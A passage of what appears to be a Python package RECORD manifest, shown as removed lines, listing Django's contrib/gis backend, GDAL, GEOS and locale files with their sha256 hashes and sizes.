-django/contrib/gis/db/backends/oracle/base.py,sha256=_7qhvEdbnrJQEKL51sg8YYu8kRYmQNAlBgNb2OUbBkw,507 -django/contrib/gis/db/backends/oracle/features.py,sha256=3yCDutKz4iX01eOjLf0CLe_cemMaRjDmH8ZKNy_Sbyk,1021 -django/contrib/gis/db/backends/oracle/introspection.py,sha256=fW9FTIW_yAQQZwk0LzdoTtj6QQpFN6fgUQzv8dCmFEo,1939 -django/contrib/gis/db/backends/oracle/models.py,sha256=uKHuBReEGNJG6MbT-8rTyrCVZs3By2hCAx7bwyxSYUM,2081 -django/contrib/gis/db/backends/oracle/operations.py,sha256=DiJbFrN_I_YQYt6Z7F_-SkJVpztmWq1RJyT8wRn8eVI,8785 -django/contrib/gis/db/backends/oracle/schema.py,sha256=3nXuUXM0fHPRuqmi96WyCVx_lHRxf3USRN8At14VUwE,5430 -django/contrib/gis/db/backends/postgis/__init__.py,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0 -django/contrib/gis/db/backends/postgis/__pycache__/__init__.cpython-311.pyc,, -django/contrib/gis/db/backends/postgis/__pycache__/adapter.cpython-311.pyc,, -django/contrib/gis/db/backends/postgis/__pycache__/base.cpython-311.pyc,, -django/contrib/gis/db/backends/postgis/__pycache__/const.cpython-311.pyc,, -django/contrib/gis/db/backends/postgis/__pycache__/features.cpython-311.pyc,, -django/contrib/gis/db/backends/postgis/__pycache__/introspection.cpython-311.pyc,, -django/contrib/gis/db/backends/postgis/__pycache__/models.cpython-311.pyc,, -django/contrib/gis/db/backends/postgis/__pycache__/operations.cpython-311.pyc,, -django/contrib/gis/db/backends/postgis/__pycache__/pgraster.cpython-311.pyc,, -django/contrib/gis/db/backends/postgis/__pycache__/schema.cpython-311.pyc,, -django/contrib/gis/db/backends/postgis/adapter.py,sha256=mjQZEfrJtAEoFZFqoTiQ3uk_rBatstX0qFDFV8xZ90w,1980 -django/contrib/gis/db/backends/postgis/base.py,sha256=37t0_fDD4IeFsQrMrKoQRW01e8KJeXCSkbv5sOpreR8,5793 -django/contrib/gis/db/backends/postgis/const.py,sha256=ekJc9pvJwQ0tmxENkJsZFdP03uEUEneloR23SJcnTIc,2008 -django/contrib/gis/db/backends/postgis/features.py,sha256=qOEJLQTIC1YdlDoJkpLCiVQU4GAy0d9_Dneui7w41bM,455 -django/contrib/gis/db/backends/postgis/introspection.py,sha256=ihrNd_qHQ64DRjoaPj9-1a0y3H8Ko4gWbK2N5fDA3_g,3164 -django/contrib/gis/db/backends/postgis/models.py,sha256=LDZjyXCxyptWoOWPkeznO15auI4LCpWDTsVaZBnQcSU,2002 -django/contrib/gis/db/backends/postgis/operations.py,sha256=zcM7Oj1pxJ4PTh4qprOKLxTzU66nlkhjpuUATBPjDtY,16576 -django/contrib/gis/db/backends/postgis/pgraster.py,sha256=eCa2y-v3qGLeNbFI4ERFj2UmqgYAE19nuL3SgDFmm0o,4588 -django/contrib/gis/db/backends/postgis/schema.py,sha256=vgvUV6vwny02sNshGGWMksqB0XAIwTN7fDcjjvZBaQI,4468 -django/contrib/gis/db/backends/spatialite/__init__.py,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0 -django/contrib/gis/db/backends/spatialite/__pycache__/__init__.cpython-311.pyc,, -django/contrib/gis/db/backends/spatialite/__pycache__/adapter.cpython-311.pyc,, -django/contrib/gis/db/backends/spatialite/__pycache__/base.cpython-311.pyc,, -django/contrib/gis/db/backends/spatialite/__pycache__/client.cpython-311.pyc,, -django/contrib/gis/db/backends/spatialite/__pycache__/features.cpython-311.pyc,, -django/contrib/gis/db/backends/spatialite/__pycache__/introspection.cpython-311.pyc,, -django/contrib/gis/db/backends/spatialite/__pycache__/models.cpython-311.pyc,, -django/contrib/gis/db/backends/spatialite/__pycache__/operations.cpython-311.pyc,, -django/contrib/gis/db/backends/spatialite/__pycache__/schema.cpython-311.pyc,, -django/contrib/gis/db/backends/spatialite/adapter.py,sha256=qTiA5BBGUFND3D7xGK_85oo__HSexTH32XF4uin3ZV0,318 -django/contrib/gis/db/backends/spatialite/base.py,sha256=wU1fgp68CLyKELsMfO6zYM85ox4g_GloWESEK8EPrfM,3218 -django/contrib/gis/db/backends/spatialite/client.py,sha256=dNM7mqDyTzFlgQR1XhqZIftnR9VRH7AfcSvvy4vucEs,138 -django/contrib/gis/db/backends/spatialite/features.py,sha256=zkmJPExFtRqjRj608ZTlsSpxkYaPbV3A3SEfX3PcaFY,876 -django/contrib/gis/db/backends/spatialite/introspection.py,sha256=V_iwkz0zyF1U-AKq-UlxvyDImqQCsitcmvxk2cUw81A,3118 -django/contrib/gis/db/backends/spatialite/models.py,sha256=H-sDifQ3-0pvWIAl79zrqGfuTW7-vp1zFn1bIfqUR-o,1930 -django/contrib/gis/db/backends/spatialite/operations.py,sha256=jaLhSEYHqEewdx1AbaQpwy-S6lZOJiuY2ZwHb1euJ5M,8520 -django/contrib/gis/db/backends/spatialite/schema.py,sha256=URhFfLQM7FH39wmkViD8MZJ1qG3cixhNdWmjuM9ZB44,7340 -django/contrib/gis/db/backends/utils.py,sha256=rLwSv79tKJPxvDHACY8rhPDLFZC79mEIlIySTyl_qqc,785 -django/contrib/gis/db/models/__init__.py,sha256=TrCS27JdVa-Q7Hok-YaJxb4eLrPdyvRmasJGIu05fvA,865 -django/contrib/gis/db/models/__pycache__/__init__.cpython-311.pyc,, -django/contrib/gis/db/models/__pycache__/aggregates.cpython-311.pyc,, -django/contrib/gis/db/models/__pycache__/fields.cpython-311.pyc,, -django/contrib/gis/db/models/__pycache__/functions.cpython-311.pyc,, -django/contrib/gis/db/models/__pycache__/lookups.cpython-311.pyc,, -django/contrib/gis/db/models/__pycache__/proxy.cpython-311.pyc,, -django/contrib/gis/db/models/aggregates.py,sha256=ImbuX2AhL6PkEyrGDv_qKIgR9FSeIur7cIMIVKUYnlM,3147 -django/contrib/gis/db/models/fields.py,sha256=FuDumSWW2Gjcyihu4W1PNk0-qk5YcahxVV_erdtXiGM,14288 -django/contrib/gis/db/models/functions.py,sha256=1zoJCVjBlFK6jjeOHVWHMLW1p1EHyoLM4DmspUqO94w,19606 -django/contrib/gis/db/models/lookups.py,sha256=FOb501DBuopcbLy175O1BwD2ZoaVa2optogbXmvwv3o,11797 -django/contrib/gis/db/models/proxy.py,sha256=qckCc10o_W1qJ7yH5VpNo6huhPfVMAz3nJSEyLfk4oo,3174 -django/contrib/gis/db/models/sql/__init__.py,sha256=-rzcC3izMJi2bnvyQUCMzIOrigBnY6N_5EQIim4wCSY,134 -django/contrib/gis/db/models/sql/__pycache__/__init__.cpython-311.pyc,, -django/contrib/gis/db/models/sql/__pycache__/conversion.cpython-311.pyc,, -django/contrib/gis/db/models/sql/conversion.py,sha256=ZiMRzEf7_kOWJ4IITXFq6dL-wDwMhIEwvbE705afgaU,2433 -django/contrib/gis/feeds.py,sha256=0vNVVScIww13bOxvlQfXAOCItIOGWSXroKKl6QXGB58,5995 -django/contrib/gis/forms/__init__.py,sha256=Zyid_YlZzHUcMYkfGX1GewmPPDNc0ni7HyXKDTeIkjo,318 -django/contrib/gis/forms/__pycache__/__init__.cpython-311.pyc,, -django/contrib/gis/forms/__pycache__/fields.cpython-311.pyc,, -django/contrib/gis/forms/__pycache__/widgets.cpython-311.pyc,, -django/contrib/gis/forms/fields.py,sha256=FrZaZWXFUdWK1QEu8wlda3u6EtqaVHjQRYrSKKu66PA,4608 -django/contrib/gis/forms/widgets.py,sha256=jV0TSxB6quB0rbkyAq4QJCdrZt4rA_LaZnO9CHRFdgI,3917 -django/contrib/gis/gdal/LICENSE,sha256=VwoEWoNyts1qAOMOuv6OPo38Cn_j1O8sxfFtQZ62Ous,1526 -django/contrib/gis/gdal/__init__.py,sha256=T3nxyji_4z2qUDPKzKlWKggVYpB3_5j6nLuEPDoz7R0,1811 -django/contrib/gis/gdal/__pycache__/__init__.cpython-311.pyc,, -django/contrib/gis/gdal/__pycache__/base.cpython-311.pyc,, -django/contrib/gis/gdal/__pycache__/datasource.cpython-311.pyc,, -django/contrib/gis/gdal/__pycache__/driver.cpython-311.pyc,, -django/contrib/gis/gdal/__pycache__/envelope.cpython-311.pyc,, -django/contrib/gis/gdal/__pycache__/error.cpython-311.pyc,, -django/contrib/gis/gdal/__pycache__/feature.cpython-311.pyc,, -django/contrib/gis/gdal/__pycache__/field.cpython-311.pyc,, -django/contrib/gis/gdal/__pycache__/geometries.cpython-311.pyc,, -django/contrib/gis/gdal/__pycache__/geomtype.cpython-311.pyc,, -django/contrib/gis/gdal/__pycache__/layer.cpython-311.pyc,, -django/contrib/gis/gdal/__pycache__/libgdal.cpython-311.pyc,, -django/contrib/gis/gdal/__pycache__/srs.cpython-311.pyc,, -django/contrib/gis/gdal/base.py,sha256=yymyL0vZRMBfiFUzrehvaeaunIxMH5ucGjPRfKj-rAo,181 -django/contrib/gis/gdal/datasource.py,sha256=AnC_VfGXygqpeFYJ-bWKo0oIdDNCGV85XZ-TBd7Dapk,4644 -django/contrib/gis/gdal/driver.py,sha256=wu2m_-lGPO4MDmJrUPBYrGDUD7BnNPFx0RROeE3-qP0,2983 -django/contrib/gis/gdal/envelope.py,sha256=jL_fm04Lx71ouo2sZgOsh-PZQf_bLDrml-KFFq6ExPk,7316 -django/contrib/gis/gdal/error.py,sha256=RcESzxTt3jMKk9s82y2Dj7nMcuoSAMOCX1eo5KFYUfw,1575 -django/contrib/gis/gdal/feature.py,sha256=HPWoCZjwzsUnhc7QmKh-BBMRqJCjj07RcFI6vjbdnp4,4017 -django/contrib/gis/gdal/field.py,sha256=EKE-Ioj5L79vo93Oixz_JE4TIZbDTRy0YVGvZH-I1z4,6886 -django/contrib/gis/gdal/geometries.py,sha256=FkJh447xjZ74hRGfpjVzjrfTiCVpxWRNvHgELclthCc,29286 -django/contrib/gis/gdal/geomtype.py,sha256=CWqbe5XtpgKiBP8Lbisbtb8o1FtuIUVb37Eb02i6TSE,4582 -django/contrib/gis/gdal/layer.py,sha256=PygAgsRZzWekp6kq6NEAZ6vhQTSo1Nk4c1Yi_pOdK58,8825 -django/contrib/gis/gdal/libgdal.py,sha256=F1n-2MC7MY7lYYUvIDmkZb5MBj11h8bPOuvozsgPZ9s,3619 -django/contrib/gis/gdal/prototypes/__init__.py,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0 -django/contrib/gis/gdal/prototypes/__pycache__/__init__.cpython-311.pyc,, -django/contrib/gis/gdal/prototypes/__pycache__/ds.cpython-311.pyc,, -django/contrib/gis/gdal/prototypes/__pycache__/errcheck.cpython-311.pyc,, -django/contrib/gis/gdal/prototypes/__pycache__/generation.cpython-311.pyc,, -django/contrib/gis/gdal/prototypes/__pycache__/geom.cpython-311.pyc,, -django/contrib/gis/gdal/prototypes/__pycache__/raster.cpython-311.pyc,, -django/contrib/gis/gdal/prototypes/__pycache__/srs.cpython-311.pyc,, -django/contrib/gis/gdal/prototypes/ds.py,sha256=1aSaQgxivM0PYc1Y7jHbFeqjdSSX_xZHYPlsveCOeN8,4725 -django/contrib/gis/gdal/prototypes/errcheck.py,sha256=DXLq_ppsgOXNhkRLJ939fo9FvRS0WhVqZDrpbZRQ2Dk,4172 -django/contrib/gis/gdal/prototypes/generation.py,sha256=fm3iMpp8TfaIx72jFNqs7YrHX5KLz0_DUTumaNhOI_M,4888 -django/contrib/gis/gdal/prototypes/geom.py,sha256=r23rTpJhgMiw30GdLO37UThESeVuOfSIZcaure4Zy5c,6233 -django/contrib/gis/gdal/prototypes/raster.py,sha256=jPOBqT6580qCThK5PhigyELzxMdp05RgI4hAKSlie_0,5571 -django/contrib/gis/gdal/prototypes/srs.py,sha256=52Aq0F7CT0_SqoMCaiIXVDVQ9dsnLGGIYXo5jf3EDDU,3677 -django/contrib/gis/gdal/raster/__init__.py,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0 -django/contrib/gis/gdal/raster/__pycache__/__init__.cpython-311.pyc,, -django/contrib/gis/gdal/raster/__pycache__/band.cpython-311.pyc,, -django/contrib/gis/gdal/raster/__pycache__/base.cpython-311.pyc,, -django/contrib/gis/gdal/raster/__pycache__/const.cpython-311.pyc,, -django/contrib/gis/gdal/raster/__pycache__/source.cpython-311.pyc,, -django/contrib/gis/gdal/raster/band.py,sha256=RPdut6BeQ9vW71rrPMwb2CnXrbCys8YAt1BA8Aholy0,8343 -django/contrib/gis/gdal/raster/base.py,sha256=2GGlL919lPr7YVGFtdIynLPIH-QKYhzrUpoXwVRlM1k,2882 -django/contrib/gis/gdal/raster/const.py,sha256=C_svBc-x052KJojH1t3pD1N29d67hQxyN8rm8u0141o,3283 -django/contrib/gis/gdal/raster/source.py,sha256=NmsCjTWDbNFt7oEWfSQSN7ZlofyDZ2yJ3ClSAfDjiW0,18394 -django/contrib/gis/gdal/srs.py,sha256=fbekX1cVeVT_36NwGqsbXMJ9xNlftLRVRcOSQL1p8Gk,12301 -django/contrib/gis/geoip2.py,sha256=yO0AGB3WIPZzwLZ_YVrwh0ph-FnS8MCoXpLttE-VyVg,9399 -django/contrib/gis/geometry.py,sha256=oyapp3-FbCo1f2RQZhDwg-JD2sg1bq5Cgzpfxj-UmuE,788 -django/contrib/gis/geos/LICENSE,sha256=CL8kt1USOK4yUpUkVCWxyuua0PQvni0wPHs1NQJjIEU,1530 -django/contrib/gis/geos/__init__.py,sha256=7BIDN_LCzaNYi0RiDiPwxdm1G76cCiTBJLswcM6CMZI,661 -django/contrib/gis/geos/__pycache__/__init__.cpython-311.pyc,, -django/contrib/gis/geos/__pycache__/base.cpython-311.pyc,, -django/contrib/gis/geos/__pycache__/collections.cpython-311.pyc,, -django/contrib/gis/geos/__pycache__/coordseq.cpython-311.pyc,, -django/contrib/gis/geos/__pycache__/error.cpython-311.pyc,, -django/contrib/gis/geos/__pycache__/factory.cpython-311.pyc,, -django/contrib/gis/geos/__pycache__/geometry.cpython-311.pyc,, -django/contrib/gis/geos/__pycache__/io.cpython-311.pyc,, -django/contrib/gis/geos/__pycache__/libgeos.cpython-311.pyc,, -django/contrib/gis/geos/__pycache__/linestring.cpython-311.pyc,, -django/contrib/gis/geos/__pycache__/mutable_list.cpython-311.pyc,, -django/contrib/gis/geos/__pycache__/point.cpython-311.pyc,, -django/contrib/gis/geos/__pycache__/polygon.cpython-311.pyc,, -django/contrib/gis/geos/__pycache__/prepared.cpython-311.pyc,, -django/contrib/gis/geos/base.py,sha256=NdlFg5l9akvDp87aqzh9dk0A3ZH2TI3cOq10mmmuHBk,181 -django/contrib/gis/geos/collections.py,sha256=m9Soitiu7cOEUdIrTZ-j5ZHn6HjmXsyWxXzC5DyTSm0,3939 -django/contrib/gis/geos/coordseq.py,sha256=YJAneODq8jUeJij_NTDPxHICdNmToHvv-KdLZnRyz50,6838 -django/contrib/gis/geos/error.py,sha256=AdeCRUVPa-G22WA5lJ5QqU4T0k79NLk1hy3n5-expfs,105 -django/contrib/gis/geos/factory.py,sha256=KQF6lqAh5KRlFSDgN-BSXWojmWFabbEUFgz2IGYX_vk,961 -django/contrib/gis/geos/geometry.py,sha256=Z34Skz4Hy-TEns5MMa40mIiR3rjHTgH9wYsunBr2htI,26650 -django/contrib/gis/geos/io.py,sha256=GCUL4p6B7FYAHOcPcbTc-QLuSJ3rtvKvU7vfzZpUlsg,800 -django/contrib/gis/geos/libgeos.py,sha256=ewU31F5eQFu4xAXvKAFbaZn4UJ0g_aiDTGuRk_MTwOo,4983 -django/contrib/gis/geos/linestring.py,sha256=BJAoWfHW08EX1UpNFVB09iSKXdTS6pZsTIBc6DcZcfc,6372 -django/contrib/gis/geos/mutable_list.py,sha256=nthCtQ0FsJrDGd29cSERwXb-tJkpK35Vc0T_ywCnXgc,10121 -django/contrib/gis/geos/point.py,sha256=bvatsdXTb1XYy1EaSZvp4Rnr2LwXZU12zILefLu6sRw,4781 -django/contrib/gis/geos/polygon.py,sha256=DZq6Ed9bJA3MqhpDQ9u926hHxcnxBjnbKSppHgbShxw,6710 -django/contrib/gis/geos/prepared.py,sha256=J5Dj6e3u3gEfVPNOM1E_rvcmcXR2-CdwtbAcoiDU5a0,1577 -django/contrib/gis/geos/prototypes/__init__.py,sha256=aYQVHVT7hAN0jSH4ioDcb5yfnJdFBmouHXfRNDbzE0M,1435 -django/contrib/gis/geos/prototypes/__pycache__/__init__.cpython-311.pyc,, -django/contrib/gis/geos/prototypes/__pycache__/coordseq.cpython-311.pyc,, -django/contrib/gis/geos/prototypes/__pycache__/errcheck.cpython-311.pyc,, -django/contrib/gis/geos/prototypes/__pycache__/geom.cpython-311.pyc,, -django/contrib/gis/geos/prototypes/__pycache__/io.cpython-311.pyc,, -django/contrib/gis/geos/prototypes/__pycache__/misc.cpython-311.pyc,, -django/contrib/gis/geos/prototypes/__pycache__/predicates.cpython-311.pyc,, -django/contrib/gis/geos/prototypes/__pycache__/prepared.cpython-311.pyc,, -django/contrib/gis/geos/prototypes/__pycache__/threadsafe.cpython-311.pyc,, -django/contrib/gis/geos/prototypes/__pycache__/topology.cpython-311.pyc,, -django/contrib/gis/geos/prototypes/coordseq.py,sha256=GpNDnUiIg76I-qad72DGw7wEz3i5H_XH9YHO4CvYTys,3124 -django/contrib/gis/geos/prototypes/errcheck.py,sha256=SWHaBSMBPJofTPq0moiDHrCInl5P1vYaqbXgAKbBvTQ,2788 -django/contrib/gis/geos/prototypes/geom.py,sha256=_nnOMLRKNS9zmcBYsivcewl10Ks6WME0Yp-ERvADa2k,3401 -django/contrib/gis/geos/prototypes/io.py,sha256=j5379Sb-uLjW7SpxQiOeDvcJjrb1ZCa9bOa6IhD6sWI,11321 -django/contrib/gis/geos/prototypes/misc.py,sha256=Sj0fZygL7MFR4pp_xPJiZHRBufnVk5YfK5LeUv2htWs,1167 -django/contrib/gis/geos/prototypes/predicates.py,sha256=Z__y5ZMvpZS718JQsGKHdZ27gXZ6sC9xwD7fWv4CAmc,1662 -django/contrib/gis/geos/prototypes/prepared.py,sha256=4I9pS75Q5MZ1z8A1v0mKkmdCly33Kj_0sDcrqxOppzM,1175 -django/contrib/gis/geos/prototypes/threadsafe.py,sha256=n1yCYvQCtc7piFrhjeZCWH8Pf0-AiOGBH33VZusTgWI,2302 -django/contrib/gis/geos/prototypes/topology.py,sha256=uJ9MOvjGhgEuz6irMDhZEWO_UDd_RMtp5ZfbWvf2hgI,2327 -django/contrib/gis/locale/af/LC_MESSAGES/django.mo,sha256=FWnPEpxhJG9xJ-uOTFryxIT6BFN3w-bsgqLn0IHF-Ew,518 -django/contrib/gis/locale/af/LC_MESSAGES/django.po,sha256=v5LXHABklHAVbfrPEx3xXGIHIZ4hz4MmfvZ6beC-XF4,1540 -django/contrib/gis/locale/ar/LC_MESSAGES/django.mo,sha256=5LCO903yJTtRVaaujBrmwMx8f8iLa3ihasgmj8te9eg,2301 -django/contrib/gis/locale/ar/LC_MESSAGES/django.po,sha256=pfUyK0VYgY0VC2_LvWZvG_EEIWa0OqIUfhiPT2Uov3Q,2569 -django/contrib/gis/locale/ar_DZ/LC_MESSAGES/django.mo,sha256=1e2lutVEjsa5vErMdjS6gaBbOLPTVIpDv15rax-wvKg,2403 -django/contrib/gis/locale/ar_DZ/LC_MESSAGES/django.po,sha256=dizXM36w-rUtI7Dv2mSoJDR5ouVR6Ar7zqjywX3xKr0,2555 -django/contrib/gis/locale/ast/LC_MESSAGES/django.mo,sha256=8o0Us4wR14bdv1M5oBeczYC4oW5uKnycWrj1-lMIqV4,850 -django/contrib/gis/locale/ast/LC_MESSAGES/django.po,sha256=0beyFcBkBOUNvPP45iqewTNv2ExvCPvDYwpafCJY5QM,1684 -django/contrib/gis/locale/az/LC_MESSAGES/django.mo,sha256=FOvFUN-kdoX5OvhaVJg3v4rOyQgAQ_YC--TCE3m4kXs,1901 -django/contrib/gis/locale/az/LC_MESSAGES/django.po,sha256=exlD78A7sUZBPuoLyQGZoYiBa2wWGWnsWKq0gUYUOng,2118 -django/contrib/gis/locale/be/LC_MESSAGES/django.mo,sha256=XcJGF9cH7M30Q8EwqovjAeiJFgB2PR4sXsbxdvVURjg,2389 -django/contrib/gis/locale/be/LC_MESSAGES/django.po,sha256=Cp_DXKCVHzYTA7v65TpjRhCJonkgI5Gy13Tfg1rkVp8,2596 -django/contrib/gis/locale/bg/LC_MESSAGES/django.mo,sha256=lLfpqEEEb1RYzy270gpDdEfv5k5jscyNgJv_Ok_BA_A,2323 -django/contrib/gis/locale/bg/LC_MESSAGES/django.po,sha256=hSxYwbKr-IqP5hJaPKQxoL1DkCIg60suHl1H8u8W7jQ,2586 -django/contrib/gis/locale/bn/LC_MESSAGES/django.mo,sha256=7oNsr_vHQfsanyP-o1FG8jZTSBK8jB3eK2fA9AqNOx4,1070 -django/contrib/gis/locale/bn/LC_MESSAGES/django.po,sha256=PTa9EFZdqfznUH7si3Rq3zp1kNkTOnn2HRTEYXQSOdM,1929 -django/contrib/gis/locale/br/LC_MESSAGES/django.mo,sha256=xN8hOvJi_gDlpdC5_lghXuX6yCBYDPfD_SQLjcvq8gU,1614 -django/contrib/gis/locale/br/LC_MESSAGES/django.po,sha256=LQw3Tp_ymJ_x7mJ6g4SOr6aP00bejkjuaxfFFRZnmaQ,2220 -django/contrib/gis/locale/bs/LC_MESSAGES/django.mo,sha256=9EdKtZkY0FX2NlX_q0tIxXD-Di0SNQJZk3jo7cend0A,1308 -django/contrib/gis/locale/bs/LC_MESSAGES/django.po,sha256=eu_qF8dbmlDiRKGNIz80XtIunrF8QIOcy8O28X02GvQ,1905 -django/contrib/gis/locale/ca/LC_MESSAGES/django.mo,sha256=6aq8xNlP95HRncIB6ThimqW14XFKp7OOjo0S0uT6d-Y,1948 -django/contrib/gis/locale/ca/LC_MESSAGES/django.po,sha256=0Tj64N9TVX-oDyq4srBCgqELmM8OjMgXC5Lci844Fvc,2298 -django/contrib/gis/locale/ckb/LC_MESSAGES/django.mo,sha256=tIH0KyO3XREfX8htOCAK6cJSZkS0BCE15AZngco_Vkw,2253 -django/contrib/gis/locale/ckb/LC_MESSAGES/django.po,sha256=krJj0SQiLAcc1uNA9Qazqy9Ty-7MhauoaIDHtjmPPfo,2442 -django/contrib/gis/locale/cs/LC_MESSAGES/django.mo,sha256=ia8l06-eW5VkQnNQU0aizio7pz_pSGA-KRk-liGRa2w,2026 -django/contrib/gis/locale/cs/LC_MESSAGES/django.po,sha256=8taX01JBHhr19_AKhfhbtlpt-TW1aOBwejN-o-HH5Xk,2274 -django/contrib/gis/locale/cy/LC_MESSAGES/django.mo,sha256=vUG_wzZaMumPwIlKwuN7GFcS9gnE5rpflxoA_MPM_po,1430 -django/contrib/gis/locale/cy/LC_MESSAGES/django.po,sha256=_QjXT6cySUXrjtHaJ3046z-5PoXkCqtOhvA7MCZsXxk,1900 -django/contrib/gis/locale/da/LC_MESSAGES/django.mo,sha256=eXid2KAU_8fd23jMFo41iJ3DntVNe0w939_UsBymGM4,1862 -django/contrib/gis/locale/da/LC_MESSAGES/django.po,sha256=9bSpjg9wv7nvWoaOfRhXKsuxVoMzOHU-fsnVNB8qbxM,2158 -django/contrib/gis/locale/de/LC_MESSAGES/django.mo,sha256=fECmj81LHOUcBcQ_PoQWlijVp3SjTG3GwsSRiUGMXOU,1930 -django/contrib/gis/locale/de/LC_MESSAGES/django.po,sha256=DB_2QZ0IHOxKJ51ZyJCNX24597W7DBc_DT1B-oId-bY,2129 -django/contrib/gis/locale/dsb/LC_MESSAGES/django.mo,sha256=YZOA1XJqoU3rI5REairrs9f36Cet75NmC8WXdApx0Mc,2016 -django/contrib/gis/locale/dsb/LC_MESSAGES/django.po,sha256=w36vo0t-HzjhslJLo5xesc1vVfl94sNP3XyyDcETDn0,2177 -django/contrib/gis/locale/el/LC_MESSAGES/django.mo,sha256=g3SeFfO8xTxsvs2jKG9CI99fTnVa-WuBMNG0FFGc0s8,2402 -django/contrib/gis/locale/el/LC_MESSAGES/django.po,sha256=7MATPbwGZGgWabd9BdmUCwxc2iAG2aeac9ltKsieuME,2853 -django/contrib/gis/locale/en/LC_MESSAGES/django.mo,sha256=U0OV81NfbuNL9ctF-gbGUG5al1StqN-daB-F-gFBFC8,356 -django/contrib/gis/locale/en/LC_MESSAGES/django.po,sha256=lXk5x3FBMnRKocOgqDiya7yKeXZqk9gkibxyADRQjOU,2074 -django/contrib/gis/locale/en_AU/LC_MESSAGES/django.mo,sha256=IPn5kRqOvv5S7jpbIUw8PEUkHlyjEL-4GuOANd1iAzI,486 -django/contrib/gis/locale/en_AU/LC_MESSAGES/django.po,sha256=x_58HmrHRia2LoYhmmN_NLb1J3f7oTDvwumgTo0LowI,1494 -django/contrib/gis/locale/en_GB/LC_MESSAGES/django.mo,sha256=WkORQDOsFuV2bI7hwVsJr_JTWnDQ8ZaK-VYugqnLv3w,1369 -django/contrib/gis/locale/en_GB/LC_MESSAGES/django.po,sha256=KWPMoX-X-gQhb47zoVsa79-16-SiCGpO0s4xkcGv9z0,1910 -django/contrib/gis/locale/eo/LC_MESSAGES/django.mo,sha256=FFSZ58VHOog4-tDy88OISaaLXMaHVuFsIr3uevM-LGc,1878 -django/contrib/gis/locale/eo/LC_MESSAGES/django.po,sha256=oyMvu7r3BKLV9VDYQI6IgjumYusSOgynlSdN3dDrcPo,2156 -django/contrib/gis/locale/es/LC_MESSAGES/django.mo,sha256=JTo6frVHdq3bDY7IwpP5K6Znbb0NXMyVBv-AOQ6gd9s,2005 -django/contrib/gis/locale/es/LC_MESSAGES/django.po,sha256=3xK9yehM6kTSbulhvTenKXmlBeUnfgqM3_a7waiNit4,2465 -django/contrib/gis/locale/es_AR/LC_MESSAGES/django.mo,sha256=Z_2xqsHzQNSQWphm6jV9efFFjzHmkmuk2KfLZXx5E1k,2006 -django/contrib/gis/locale/es_AR/LC_MESSAGES/django.po,sha256=_PHHHfzhzPI5xaZwDH6Rd35KEbj1l1-9IyPLEENaw6E,2161 -django/contrib/gis/locale/es_CO/LC_MESSAGES/django.mo,sha256=mMnOZTrmWutn2Lwv2Y7GuoZIhIbPsMCXJkdmeatXZaM,1817 -django/contrib/gis/locale/es_CO/LC_MESSAGES/django.po,sha256=JF0-_eNt-BPJ__GqNoEj7iKEOV8htZHyX5kZue-PZO4,2349 -django/contrib/gis/locale/es_MX/LC_MESSAGES/django.mo,sha256=bC-uMgJXdbKHQ-w7ez-6vh9E_2YSgCF_LkOQlvb60BU,1441 -django/contrib/gis/locale/es_MX/LC_MESSAGES/django.po,sha256=MYO9fGclp_VvLG5tXDjXY3J_1FXI4lDv23rGElXAyjA,1928 -django/contrib/gis/locale/es_VE/LC_MESSAGES/django.mo,sha256=5YVIO9AOtmjky90DAXVyU0YltfQ4NLEpVYRTTk7SZ5o,486 -django/contrib/gis/locale/es_VE/LC_MESSAGES/django.po,sha256=R8suLsdDnSUEKNlXzow3O6WIT5NcboZoCjir9GfSTSQ,1494 -django/contrib/gis/locale/et/LC_MESSAGES/django.mo,sha256=-Gn24H3qyIcf3ptRe7Iin8sHc6JtkkFsmJF4DI1Wwhs,1872 -django/contrib/gis/locale/et/LC_MESSAGES/django.po,sha256=c-8desC8uDUy9UrX3IicuGICF2xAWPudgAprvS3G7jY,2223 -django/contrib/gis/locale/eu/LC_MESSAGES/django.mo,sha256=c2YYr77DeKdHWhpq6T472Hc1wpzYQ1fgKXELx7GMW_U,1888 -django/contrib/gis/locale/eu/LC_MESSAGES/django.po,sha256=HVR7BSXjUy3pphfPKp2uapaKVnQeb3chQIxcG5bMxHY,2147 -django/contrib/gis/locale/fa/LC_MESSAGES/django.mo,sha256=oSM2n6s-E4eomcHHZT6gY0PrhUFDr7Wijs3Qkr62jX0,2155 -django/contrib/gis/locale/fa/LC_MESSAGES/django.po,sha256=uUaUbYmjFcZ3mp9-FmGVT3zv47n54sWtzaXHWFSpMik,2507 -django/contrib/gis/locale/fi/LC_MESSAGES/django.mo,sha256=A1QOLEk9dFKcxlE2puSLmdDdFWRwGbSKsDGbKemUsCM,1839 -django/contrib/gis/locale/fi/LC_MESSAGES/django.po,sha256=IbtvFNK1bXmck5zZQqXNCDSiuXcGonNl8UcN0BfopFQ,2064 -django/contrib/gis/locale/fr/LC_MESSAGES/django.mo,sha256=LXchLaOY_bGIf25s_rQgWHOvEMD-l8_HAT5WtC0irfs,2058 -django/contrib/gis/locale/fr/LC_MESSAGES/django.po,sha256=FVuGpVTPP2-f4CZKL0UZwLSxy2WiDczw9_q3KRTbclQ,2258 -django/contrib/gis/locale/fy/LC_MESSAGES/django.mo,sha256=2kCnWU_giddm3bAHMgDy0QqNwOb9qOiEyCEaYo1WdqQ,476 -django/contrib/gis/locale/fy/LC_MESSAGES/django.po,sha256=7ncWhxC5OLhXslQYv5unWurhyyu_vRsi4bGflZ6T2oQ,1484 -django/contrib/gis/locale/ga/LC_MESSAGES/django.mo,sha256=5oExwd6zeo9pBXhr1u_su8cllMEOQ-PnkUCkqFcQyYo,1957 -django/contrib/gis/locale/ga/LC_MESSAGES/django.po,sha256=CZngY66ohYP6Xr25Cghym_gW2AKpQlRRdIBYBMej5AY,2193 -django/contrib/gis/locale/gd/LC_MESSAGES/django.mo,sha256=w9d6GRaJMzeRVMzOuapvpPayOQmrFQEwPf8g4TXSatg,2022 -django/contrib/gis/locale/gd/LC_MESSAGES/django.po,sha256=2jXpd-BBQ7JVj2l9tWhIkUXw4ZZPnGJrvHjs442GEx8,2197 -django/contrib/gis/locale/gl/LC_MESSAGES/django.mo,sha256=vjZQqAw3rDSY8Tgv-12EOhsqfFlaEOB7mVBOH6YlXNo,1956 